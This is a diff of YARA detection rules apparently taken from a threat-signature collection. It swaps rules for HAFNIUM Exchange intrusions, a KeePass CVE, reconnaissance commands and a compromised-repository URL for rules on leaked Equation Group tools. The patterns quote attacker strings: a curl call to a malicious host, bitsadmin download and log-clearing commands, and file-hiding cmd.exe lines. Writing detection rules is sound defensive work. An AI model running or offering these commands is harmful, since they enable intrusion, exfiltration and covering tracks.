+		( uint16(0)==0x457f and filesize <50KB and 1 of ($x*)) or (2 of them )
 }
-rule SIGNATURE_BASE_SUSP_Keepass_CVE_2023_24055_Jan23 : CVE_2023_24055 FILE
+rule SIGNATURE_BASE_Equationgroup_Exze : FILE
 {
 	meta:
-		description = "Detects suspicious triggers defined in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file exze"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4ff1a93f-f7f0-528d-9e07-402e321a0ffe"
-		date = "2023-01-25"
+		id = "d452b952-0c4a-501b-93f5-064d13f2c08e"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_keepass_cve_2023_24055.yar#L22-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4ed3eee86baf3dddfe423795491a5a94c02df3f4a7525efa6f2436e19197e55b"
-		score = 60
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L522-L537"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b8678f58da689be9507a345b6b80ece6cdb7a78d73db339bdc15ad0a66b4a2e6"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-24055, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1af6dde6d956db26c8072bf5ff26759f1a7fa792dd1c3498ba1af06426664876"
 
 	strings:
-		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
-		$s1 = "<Action>" ascii wide
-		$s2 = "<Parameter>" ascii wide
+		$s1 = "shellFile" fullword ascii
+		$s2 = "completed.1" fullword ascii
+		$s3 = "zeke_remove" fullword ascii
 
 	condition:
-		filesize <200KB and $a1 and all of ($s*)
+		( uint16(0)==0x457f and filesize <80KB and all of them )
 }
-rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_1 : LOG CVE_2021_27065
+rule SIGNATURE_BASE_Equationgroup_DUL : FILE
 {
 	meta:
-		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-27065"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file DUL"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dcc1f741-cab0-5a0b-a261-a6bd05989723"
-		date = "2021-03-02"
+		id = "6dd90b30-30cb-531c-b8e2-fc208b21e8e6"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium_log_sigs.yar#L2-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9306cf177928266ea921461e9da80ad5bb37e1e0848559898a414956cfbc2b49"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L539-L553"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "55df9a844352babf0c30075139e2a62cbf9db898280546d27b172e4d611ce1c0"
 		score = 75
 		quality = 85
-		tags = "LOG, CVE-2021-27065"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "24d1d50960d4ebf348b48b4db4a15e50f328ab2c0e24db805b106d527fc5fe8e"
 
 	strings:
-		$s1 = "S:CMD=Set-OabVirtualDirectory.ExternalUrl='" ascii wide fullword
+		$x1 = "?Usage: %s <shellcode> <output_file>" fullword ascii
+		$x2 = "Here is the decoder+(encoded-decoder)+payload" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x457f and filesize <80KB and 1 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_26858_Exchange_Forensic_Artefacts_Mar21_1 : LOG CVE_2021_26858
+rule SIGNATURE_BASE_Equationgroup_Slugger2 : FILE
 {
 	meta:
-		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-26858"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file slugger2"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f6fa90c7-c2c0-56db-bf7b-dc146761a995"
-		date = "2021-03-02"
-		modified = "2021-03-04"
-		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium_log_sigs.yar#L15-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a8296b7e990e52330412288e9ff71e08a5258fc63c4754e6d0e6d64302f55e6"
-		score = 65
+		id = "3787a39e-0123-5b46-90c9-6b772b1fd96c"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L555-L574"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c736fdfa96d5e99bc4d093c03a81b8a4f58501ec8c03a2891f9f694d88b5284"
+		score = 75
 		quality = 85
-		tags = "LOG, CVE-2021-26858"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a6a9ab66d73e4b443a80a69ef55a64da7f0af08dfaa7e17eb19c327301a70bdf"
 
 	strings:
-		$xr1 = /POST (\/owa\/auth\/Current\/themes\/resources\/logon\.css|\/owa\/auth\/Current\/themes\/resources\/owafont_ja\.css|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif|\/owa\/auth\/Current\/themes\/resources\/owafont_ko\.css|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiBold\.eot|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiLight\.ttf|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif)/
+		$x1 = "usage: %s hostip port cmd [printer_name]" fullword ascii
+		$x2 = "command must be less than 61 chars" fullword ascii
+		$s1 = "__rw_read_waiting" ascii
+		$s2 = "completed.1" fullword ascii
+		$s3 = "__mutexkind" ascii
+		$s4 = "__rw_pshared" ascii
 
 	condition:
-		$xr1
+		( uint16(0)==0x457f and filesize <50KB and (4 of them and 1 of ($x*))) or ( all of them )
 }
-rule SIGNATURE_BASE_LOG_APT_HAFNIUM_Exchange_Log_Traces_Mar21_1 : LOG
+rule SIGNATURE_BASE_Equationgroup_Ebbisland : FILE
 {
 	meta:
-		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file ebbisland"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a51f0bd5-c6fd-5ee4-9d30-9a6001778013"
-		date = "2021-03-04"
+		id = "d30b9f26-c2c5-5ecb-9f63-e96017788e40"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium_log_sigs.yar#L30-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "03b90c121cc5169eef66e111648d5641acc785e60a20c658ba7f4d1cf032cd92"
-		score = 65
-		quality = 83
-		tags = "LOG"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L576-L594"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f4b5054d4239e23146f0764ffe9037b658ecdb9a5f479956c5c45abc1012a17"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "eba07c98c7e960bb6c71dafde85f5da9f74fd61bc87793c87e04b1ae2d77e977"
 
 	strings:
-		$xr1 = /POST \/(ecp\/y\.js|ecp\/main\.css|ecp\/default\.flt|ecp\/auth\/w\.js|owa\/auth\/w\.js)[^\n]{100,600} (200|301|302) /
-		$xr3 = /POST \/owa\/auth\/Current\/[^\n]{100,600} (DuckDuckBot\/1\.0;\+\(\+http:\/\/duckduckgo\.com\/duckduckbot\.html\)|facebookexternalhit\/1\.1\+\(\+http:\/\/www\.facebook\.com\/externalhit_uatext\.php\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\)|Mozilla\/5\.0\+\(compatible;\+Bingbot\/2\.0;\+\+http:\/\/www\.bing\.com\/bingbot\.htm\)|Mozilla\/5\.0\+\(compatible;\+Googlebot\/2\.1;\+\+http:\/\/www\.google\.com\/bot\.html|Mozilla\/5\.0\+\(compatible;\+Konqueror\/3\.5;\+Linux\)\+KHTML\/3\.5\.5\+\(like\+Gecko\)\+\(Exabot-Thumbnails\)|Mozilla\/5\.0\+\(compatible;\+Yahoo!\+Slurp;\+http:\/\/help\.yahoo\.com\/help\/us\/ysearch\/slurp\)|Mozilla\/5\.0\+\(compatible;\+YandexBot\/3\.0;\+\+http:\/\/yandex\.com\/bots\)|Mozilla\/5\.0\+\(X11;\+Linux\+x86_64\)\+AppleWebKit\/537\.36\+\(KHTML,\+like\+Gecko\)\+Chrome\/51\.0\.2704\.103\+Safari\/537\.3)/
-		$xr4 = /POST \/ecp\/[^\n]{100,600} (ExchangeServicesClient\/0\.0\.0\.0|python-requests\/2\.19\.1|python-requests\/2\.25\.1)[^\n]{200,600} (200|301|302) /
-		$xr5 = /POST \/(aspnet_client|owa)\/[^\n]{100,600} (antSword\/v2\.1|Googlebot\/2\.1\+\(\+http:\/\/www\.googlebot\.com\/bot\.html\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\))[^\n]{200,600} (200|301|302) /
+		$x1 = "Usage: %s [-V] -t <target_ip> -p port" fullword ascii
+		$x2 = "error - shellcode not as expected - unable to fix up" fullword ascii
+		$x3 = "WARNING - core wipe mode - this will leave a core file on target" fullword ascii
+		$x4 = "[-C] wipe target core file (leaves less incriminating core on failed target)" fullword ascii
+		$x5 = "-A <jumpAddr> (shellcode address)" fullword ascii
+		$x6 = "*** Insane undocumented incremental port mode!!! ***" fullword ascii
 
 	condition:
-		1 of them
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_LOG_Exchange_Forensic_Artefacts_Cleanup_Activity_Mar21_1 : LOG
+rule SIGNATURE_BASE_Equationgroup_Jackpop : FILE
 {
 	meta:
-		description = "Detects forensic artefacts showing cleanup activity found in HAFNIUM intrusions exploiting"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file jackpop"
 		author = "Florian Roth (Nextron Systems)"
-		id = "95b19544-147b-5496-b717-669cbc488179"
-		date = "2021-03-08"
+		id = "7c650752-200b-51e7-95c2-4d385bfd5844"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/jdferrell3/status/1368626281970024448"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium_log_sigs.yar#L48-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12e5b76dafcae13f1eb21913ae0bde233152fd8b9d29f073893418ac9f742de3"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L596-L614"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6efc4ccd2727f93713ad35dc1f054fa25e976e8c3d95f00226fbd56d7f1ce30b"
+		score = 75
 		quality = 85
-		tags = "LOG"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0b208af860bb2c7ef6b1ae1fcef604c2c3d15fc558ad8ea241160bf4cbac1519"
 
 	strings:
-		$x1 = "cmd.exe /c cd /d C:/inetpub/wwwroot/aspnet_client" ascii wide
-		$x2 = "cmd.exe /c cd /d C:\\inetpub\\wwwroot\\aspnet_client" ascii wide
-		$s1 = "aspnet_client&del '"
-		$s2 = "aspnet_client&attrib +h +s +r "
-		$s3 = "&echo [S]"
+		$x1 = "%x:%d  --> %x:%d %d bytes" fullword ascii
+		$s1 = "client: can't bind to local address, are you root?" fullword ascii
+		$s2 = "Unable to register port" fullword ascii
+		$s3 = "Could not resolve destination" fullword ascii
+		$s4 = "raw troubles" fullword ascii
 
 	condition:
-		1 of ($x*) or 2 of them
+		( uint16(0)==0x457f and filesize <30KB and 3 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_27055_Exchange_Forensic_Artefacts : LOG
+rule SIGNATURE_BASE_Equationgroup_Parsescan : FILE
 {
 	meta:
-		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
-		author = "Zach Stanford - @svch0st, Florian Roth"
-		id = "8b0110a9-fd03-5f7d-bdd8-03ff48bcac68"
-		date = "2021-03-10"
-		modified = "2021-03-15"
-		reference = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium_log_sigs.yar#L67-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "131ff0ce189dfeace0922000b0d15dfb5a1270bee8fba8e4d66aa75b1d3f864f"
-		score = 65
-		quality = 60
-		tags = "LOG"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file parsescan"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bbe8b518-2bf0-5de4-8fb8-9b8609d393dc"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L616-L630"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "25e0bc21f93cd72814cd6114883ed903af84a62dced126201b6037a476dbd2cd"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
 
 	strings:
-		$x1 = "ServerInfo~" ascii wide
-		$sr1 = /\/ecp\/[0-9a-zA-Z]{1,3}\.js/ ascii wide
-		$s1 = "/ecp/auth/w.js" ascii wide
-		$s2 = "/owa/auth/w.js" ascii wide
-		$s3 = "/owa/auth/x.js" ascii wide
-		$s4 = "/ecp/main.css" ascii wide
-		$s5 = "/ecp/default.flt" ascii wide
-		$s6 = "/owa/auth/Current/themes/resources/logon.css" ascii wide
+		$s1 = "$gotgs=1 if (($line =~ /Scan for (Sol|SNMP)\\s+version/) or" fullword ascii
+		$s2 = "Usage:  $prog [-f file] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
 
 	condition:
-		$x1 and 1 of ($s*)
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_2 : LOG
+rule SIGNATURE_BASE_Equationgroup_Jscan : FILE
 {
 	meta:
-		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file jscan"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37a26def-b360-518e-a4ab-9604a5b39afd"
-		date = "2021-03-10"
+		id = "c4cebc69-8ec8-5ad7-bd93-55565b3eb92b"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium_log_sigs.yar#L92-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "13e2e46689bc0e87c3cf13dc2ce213c384afe6c03c21e62a467974a0518c12da"
-		score = 65
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L632-L646"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d3bbdb90da9fa5b8b41a8b5d35a9b42e4fa15f291146575b0ef22e81441dcbde"
+		score = 75
 		quality = 85
-		tags = "LOG"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8075f56e44185e1be26b631a2bad89c5e4190c2bfc9fa56921ea3bbc51695dbe"
 
 	strings:
-		$sr1 = /GET \/rpc\/ &CorrelationID=<empty>;&RequestId=[^\n]{40,600} (200|301|302)/
+		$s1 = "$scanth = $scanth . \" -s \" . $scanthreads;" fullword ascii
+		$s2 = "print \"java -jar jscanner.jar$scanth$list\\n\";" fullword ascii
 
 	condition:
-		$sr1
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_Recon_Commands_Windows_Gen1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Promptkill : FILE
 {
 	meta:
-		description = "Detects a set of reconnaissance commands on Windows systems"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file promptkill"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bc95265c-780d-5451-bd12-d14495877e46"
-		date = "2017-07-10"
+		id = "e0749b10-fa5a-5d73-86e1-e2008e121674"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/MSJCxP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_recon_indicators.yar#L12-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "36beb09c428949140cb007c1022c385c9a1ae4eea8c1f1a419f96b36b8030c7c"
-		score = 60
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L648-L662"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b46161b8cbb9a539171349b3e2a58f8e5a48c344b6d99020b3e96da9c878771"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b448204503849926be249a9bafbfc1e36ef16421c5d3cfac5dac91f35eeaa52d"
 
 	strings:
-		$s1 = "netstat -an" ascii
-		$s2 = "net view" ascii fullword
-		$s3 = "net user" ascii fullword
-		$s4 = "whoami" ascii
-		$s5 = "tasklist /v" ascii
-		$s6 = "systeminfo" ascii
-		$s7 = "net localgroup administrators" ascii
-		$s8 = "net user administrator" ascii
-		$s9 = "regedit -e " ascii
-		$s10 = "tasklist /svc" ascii
-		$s11 = "regsvr32 /s /u " ascii
-		$s12 = "CreateObject(\"WScript.Shell\").RegWrite" ascii
-		$s13 = "bitsadmin /rawreturn /transfer getfile" ascii
-		$s14 = "wmic qfe list full" ascii
-		$s15 = "schtasks.exe /create " ascii nocase
-		$s16 = "wmic share get" ascii
-		$s17 = "wmic nteventlog get" ascii
-		$s18 = "wevtutil cl " ascii
-		$s19 = "sc query type= service" ascii
-		$s20 = "arp -a " ascii
-		$fp1 = "avdapp.dll" fullword wide
-		$fp2 = "keyword.command.batchfile" ascii
-		$fp3 = ".sublime-settings" ascii
+		$x1 = "exec(\"xterm $xargs -e /current/tmp/promptkill.kid.$tag $pid\");" fullword ascii
+		$x2 = "$xargs=\"-title \\\"Kill process $pid?\\\" -name \\\"Kill process $pid?\\\" -bg white -fg red -geometry 202x19+0+0\" ;" fullword ascii
 
 	condition:
-		filesize <1000KB and 4 of them and not 1 of ($fp*)
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_Recon_Outputs_Jun20_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Epoxyresin_V1_0_0 : FILE
 {
 	meta:
-		description = "Detects outputs of many different commands often used for reconnaissance purposes"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file epoxyresin.v1.0.0.1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ec3759aa-212f-52ce-9f38-636accd35749"
-		date = "2020-06-04"
+		id = "390a13b0-3246-5bf7-8841-775a43045172"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/cycldek-bridging-the-air-gap/97157/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_recon_indicators.yar#L52-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "652b28bfb45a11eaaee198c76560c1f55edc5b32c5394e606bb5426551260f24"
-		score = 60
-		quality = 85
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L664-L681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1cbc18f05b299837463aa27a9c47ea0355ca5974b2c6ab1e0a18cc9ad1b26a1"
+		score = 75
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "eea8a6a674d5063d7d6fc9fe07060f35b16172de6d273748d70576b01bf01c73"
 
 	strings:
-		$s1 = ". . . . : Yes" ascii
-		$s2 = "with 32 bytes of data:" ascii
-		$s3 = "ff-ff-ff-ff-ff-ff     static" ascii
-		$s4 = "  TCP    0.0.0.0:445" ascii
-		$s5 = "System Idle Process" ascii
+		$x1 = "[-] kernel not vulnerable" fullword ascii
+		$s1 = ".tmp.%d.XXXXXX" fullword ascii
+		$s2 = "[-] couldn't create temp file" fullword ascii
+		$s3 = "/boot/System.map-%s" fullword ascii
 
 	condition:
-		filesize <150KB and 4 of them
+		( uint16(0)==0x457f and filesize <30KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_MAL_Github_Repo_Compromise_Myjino_Ru_Aug22
+rule SIGNATURE_BASE_Equationgroup_Estopmoonlit : FILE
 {
 	meta:
-		description = "Detects URL mentioned in report on compromised Github repositories in August 2022"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file estopmoonlit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1eaabad5-d0de-5d17-a5fa-3c638354843d"
-		date = "2022-08-03"
+		id = "7ae7a8b7-5e27-5604-8c57-6d60ffa0fb72"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/stephenlacy/status/1554697077430505473"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_repo_compromise_myjino_ru.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5cbe6ee46a68d89b1e772762e29baa907458235cd014f20a0d0932e95c046f19"
-		score = 90
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L683-L699"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "06293b6f48d2595f3426088cddc4b0c4d1ebc1de90fa640d5b5e806a45a2b6bd"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "707ecc234ed07c16119644742ebf563b319b515bf57fd43b669d3791a1c5e220"
 
 	strings:
-		$x1 = "curl http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
-		$x2 = "http__.Post(\"http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
+		$x1 = "[+] shellcode prepared, re-executing" fullword ascii
+		$x2 = "[-] kernel not vulnerable: prctl" fullword ascii
+		$x3 = "[-] shell failed" fullword ascii
+		$x4 = "[!] selinux apparently enforcing.  Continue [y|n]? " fullword ascii
 
 	condition:
-		1 of them
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_Uboatrat : FILE
+rule SIGNATURE_BASE_Equationgroup_Envoytomato : FILE
 {
 	meta:
-		description = "Detects UBoat RAT Samples"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file envoytomato"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f7f745c2-648d-5937-8d06-f5d1b6ed7e11"
-		date = "2017-11-29"
+		id = "d1a43c98-9448-5a03-824d-5cd8e959fbf5"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uboat_rat.yar#L9-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3d0837607d1a5efd9986eccf98f108633502a09dbf8c4c94fc0f0247060bc3a8"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L701-L715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f15b3b4281ec45a7a71c9bf8b88c60befec665f78b76a615c5912a6b7f94235b"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "04873dbd63279228a0a4bb1184933b64adb880e874bd3d14078161d06e232c9b"
-		hash2 = "7b32f401e2ad577e8398b2975ecb5c5ce68c5b07717b1e0d762f90a6fbd8add1"
-		hash3 = "42d8a84cd49ff3afacf3d549fbab1fa80d5eda0c8625938b6d32e18004b0edac"
-		hash4 = "6bea49e4260f083ed6b73e100550ecd22300806071f4a6326e0544272a84526c"
-		hash5 = "cf832f32b8d27cf9911031910621c21bd3c20e71cc062716923304dacf4dadb7"
-		hash6 = "bf7c6e911f14a1f8679c9b0c2b183d74d5accd559e17297adcd173d76755e271"
+		hash1 = "9bd001057cc97b81fdf2450be7bf3b34f1941379e588a7173ab7fffca41d4ad5"
 
 	strings:
-		$s1 = "URLDownloadToFileA" ascii
-		$s2 = "GetModuleFileNameW" ascii
-		$s4 = "WININET.dll" ascii
-		$s5 = "urlmon.dll" ascii
-		$s6 = "WTSAPI32.dll" ascii
-		$s7 = "IPHLPAPI.DLL" ascii
